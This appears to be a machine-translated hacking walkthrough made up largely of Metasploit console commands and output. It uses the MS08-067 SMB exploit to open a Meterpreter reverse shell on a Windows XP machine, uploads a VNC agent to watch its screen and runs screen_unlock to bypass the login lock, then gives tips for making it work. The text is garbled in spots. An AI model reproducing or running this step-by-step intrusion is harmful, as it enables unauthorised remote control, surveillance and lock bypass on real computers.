MSF > Use Exploit/windows/smb/ms08_067_netapi MSF Exploit (MS08_067_NETAPI) > Set RHOST 192.168.1.142 RHOST = 19 2.168.1.142 MSF exploit (MS08_067_NETAPI) > Set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD = windows/ Meterpreter/reverse_tcp MSF exploit (MS08_067_NETAPI) > Set lhost 192.168.1.11 lhost = 192.168.1.11 MSF exploit (ms 08_067_NETAPI) > Set target + target + exploit (MS08_067_NETAPI) > Show Options Module options (exploit /WINDOWS/SMB/MS08_067_NETAPI): Name current Setting Required Description--------------------------- -----------Proxies No use a proxy chain RHOST 192.168.1.142 yes the target add Ress Rport 445 Yes Set the SMB service port Smbpipe BROWSER yes the pipe name To use (BROWSER, srvsvc) Payload options (windows/meterpreter/reverse_tcp): Name current Setting Required Des cription--------------------------------------exitfunc thread yes Exit Technique:seh, thread, process, none lhost
192.168.1.11 Yes the listen address Lport 4444 Yes the listen port Exploit target: Id Name------$ Windows XP SP3 chinese-simplified (NX) MSF exploit (MS08_067_NETAPI) > exploit [*]
Started reverse handler on 192.168.1.11:4444 [*] attempting to trigger the vulnerability ... [*] Sending stage (752128 bytes) to 192.168.1.142 [*] Meterpreter Session 1 opened (192.168.1.11:4444-192.168.1.142:1052 ) at 2013-04-27 12:34:10-0400 meterpreter > Run VNC [*] Creating a VNC reverse TCP stager:lhost=192.168.1.11 lport=4 545) [*] Running payload handler [*] vnc stager executable 73802 bytes Long [*] uploaded the VNC agent to C:\WINDOWS\TEMP\
UHxcucNd.exe (must be deleted manually) [*] Executing the VNC agent with endpoint 192.168.1.11:4545 ... Meterpreter > Error:can ' t open Display:meterpreter > MetErpreter > Run VNC [*] Creating a VNC reverse tcp stager:lhost=192.168.1.11 lport=4545) [*] Running payload Handler [* ] vnc stager executable 73802 bytes Long [*] uploaded the VNC agent to C:\WINDOWS\TEMP\EeFJucP.exe (must be deleted manual
LY) [*] Executing the VNC agent with endpoint 192.168.1.11:4545 ... Meterpreter > Run screen_unlock [*] OS ' Windows XP (Build 2600, Service Pack 3). ' found in known targets [*] patching.
.
[*] done! Meterpreter >
Above the first run VNC error, because XP does not open the Remote Desktop.
The following is the effect of opening the XP Remote Desktop on a graphical interface:
It's dark and I don't know why.
I run VNC again, and I can:
Ha ha. It worked.
Attention:
1, to try a few more times
2. To enter two commands in a row:
Meterpreter > Run VNC
[*] Creating a VNC reverse tcp stager:lhost=192.168.1.11 lport=4545)
[*] Running payload Handler
[*] vnc stager executable 73802 bytes Long
[*] uploaded the VNC agent to C:\WINDOWS\TEMP\EeFJucP.exe (mus t be deleted manually)
[*] executing the VNC agent with endpoint 192.168.1.11:4545 ...
Meterpreter > Run Screen_unlock